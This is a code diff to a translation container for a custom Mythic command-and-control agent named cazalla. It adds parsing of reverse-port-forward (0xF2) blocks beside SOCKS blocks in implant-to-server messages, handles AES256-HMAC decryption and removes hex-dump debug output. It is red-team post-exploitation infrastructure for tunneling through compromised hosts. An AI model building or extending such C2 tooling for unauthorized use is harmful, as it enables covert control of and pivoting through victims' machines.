"id": inputMsg.Message.get("id", "00000000-0000-0000-0000-000000000000"),
"parameters": ""
}]
response.Message = responseTasking(tasks)
# Apply encryption if needed (before sending to agent)
if self._crypto_type == "aes256_hmac" and self._enc_key:
print("[TRANSLATOR] Applying AES256-HMAC encryption before sending to agent")
@@ -279,6 +344,69 @@ class cazalla_translator(TranslationContainer):
return clean_data, socks_array
def extract_rpfwd_block(self, data):
"""
Extract RPFWD block (marker 0xF2) from agent message
Format: [0xF2 marker][ext_len:4][server_id:4][exit:1][b64_len:4][base64_data][port:4]...
Returns: (clean_data_without_rpfwd, rpfwd_array)
"""
rpfwd_array = []
clean_data = data
# Buscar el marcador 0xF2
cursor = 0
while cursor + 5 <= len(data):
if data[cursor] == 0xF2:
print(f"[TRANSLATOR] ¡Bloque RPFWD 0xF2 encontrado en offset {cursor}!")
# Leer longitud del bloque
ext_len = int.from_bytes(data[cursor+1:cursor+5], "big")
print(f"[TRANSLATOR] Longitud del bloque RPFWD: {ext_len} bytes")
if cursor + 5 + ext_len > len(data):
print(f"[TRANSLATOR] ERROR: bloque RPFWD truncado")
break
# Parsear cada registro RPFWD dentro del bloque
ecur = cursor + 5
eend = cursor + 5 + ext_len
while ecur + 13 <= eend: # 4 (sid) + 1 (exit) + 4 (b64len) + 4 (port) = 13
sid = int.from_bytes(data[ecur:ecur+4], "big")
exitf = data[ecur+4]
b64len = int.from_bytes(data[ecur+5:ecur+9], "big")
ecur += 9
if ecur + b64len + 4 > eend: # Need space for port too
print(f"[TRANSLATOR] ERROR: registro RPFWD truncado")
break
# Extraer datos base64
b64_data = None
if b64len > 0:
b64_data = data[ecur:ecur+b64len].decode('ascii')
ecur += b64len
# Leer puerto
port = int.from_bytes(data[ecur:ecur+4], "big")
ecur += 4
rpfwd_record = {
"server_id": sid,
"exit": bool(exitf),
"data": b64_data,
"port": port
}
rpfwd_array.append(rpfwd_record)
print(f"[TRANSLATOR] RPFWD record: sid={sid} exit={exitf} b64_len={b64len} port={port}")
# Remover el bloque RPFWD del mensaje
clean_data = data[:cursor]
print(f"[TRANSLATOR] Bloque RPFWD extraído, {len(rpfwd_array)} registros encontrados")
break
cursor += 1
return clean_data, rpfwd_array
async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse:
response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True)
print("[TRANSLATOR] translate_from_c2_format called (Agent → Mythic)")
@@ -288,22 +416,20 @@ class cazalla_translator(TranslationContainer):
data = inputMsg.Message
if self._crypto_type == "aes256_hmac" and self._enc_key:
print("[TRANSLATOR] Decrypting message from agent...")
print(f"[TRANSLATOR] Encrypted message (hex): {binascii.hexlify(data[:100]).decode()}...")
try:
data = self.aes256_decrypt(data)
print(f"[TRANSLATOR] Decrypted message length: {len(data)} bytes")
print(f"[TRANSLATOR] Decrypted message (hex): {binascii.hexlify(data[:100]).decode()}...")
except Exception as e:
print(f"[TRANSLATOR] ERROR: Decryption failed: {e}")
response.Success = False
response.Error = f"Decryption failed: {str(e)}"
return response
else:
print("IMPLANT --> C2 : " + binascii.hexlify(data).decode('cp850'))
# Removed excessive hex dump - use debug logging if needed
# Extract SOCKS block if exists (after first command byte)
# Extract SOCKS and RPFWD blocks if exist (after first command byte)
# Note: Now data is plaintext (decrypted if encryption was used)
clean_data, socks_array = self.extract_socks_block(data[1:])
clean_data, rpfwd_array = self.extract_rpfwd_block(clean_data)
if data[0] == commands["checkin"]["hex_code"]:
print("CHECK IN")
@@ -316,18 +442,26 @@ class cazalla_translator(TranslationContainer):
if socks_array:
response.Message["socks"] = socks_array
print(f"[TRANSLATOR] Agregados {len(socks_array)} registros SOCKS a GET TASKING")
# Agregar array RPFWD si existe
if rpfwd_array:
response.Message["rpfwd"] = rpfwd_array
print(f"[TRANSLATOR] Agregados {len(rpfwd_array)} registros RPFWD a GET TASKING")
elif data[0] == commands["post_response"]["hex_code"]:
print("POST RESPONSE")
print(f"[DEBUG] POST_RESPONSE - data length: {len(data)} bytes")
print(f"[DEBUG] POST_RESPONSE - data[0:100] (hex): {binascii.hexlify(data[:100]).decode()}")
# Removed hex dump - use debug logging if needed
print(f"[DEBUG] POST_RESPONSE - clean_data length: {len(clean_data)} bytes")
print(f"[DEBUG] POST_RESPONSE - clean_data[0:100] (hex): {binascii.hexlify(clean_data[:100] if len(clean_data) >= 100 else clean_data).decode()}")
# Removed hex dump - use debug logging if needed
response.Message = postResponse(clean_data)
# Agregar array SOCKS si existe
if socks_array:
response.Message["socks"] = socks_array
print(f"[TRANSLATOR] Agregados {len(socks_array)} registros SOCKS a POST RESPONSE")
# Agregar array RPFWD si existe
if rpfwd_array:
response.Message["rpfwd"] = rpfwd_array
print(f"[TRANSLATOR] Agregados {len(rpfwd_array)} registros RPFWD a POST RESPONSE")
# ============================
# NUEVOS COMANDOS SOCKS
+1 -1
View File
@@ -18,7 +18,7 @@ def getBytesWithSize(data):
MAX_REASONABLE_SIZE = 100 * 1024 * 1024
if size > MAX_REASONABLE_SIZE:
print(f"[WARN] getBytesWithSize: tamaño sospechoso ({size} bytes, max razonable: {MAX_REASONABLE_SIZE})")
print(f"[WARN] Primeros 16 bytes (hex): {data[:16].hex()}")
# Removed hex dump - use debug logging if needed
# If size is suspicious, maybe it's actually a marker byte
# Return empty output and keep all data as remaining
return b"", data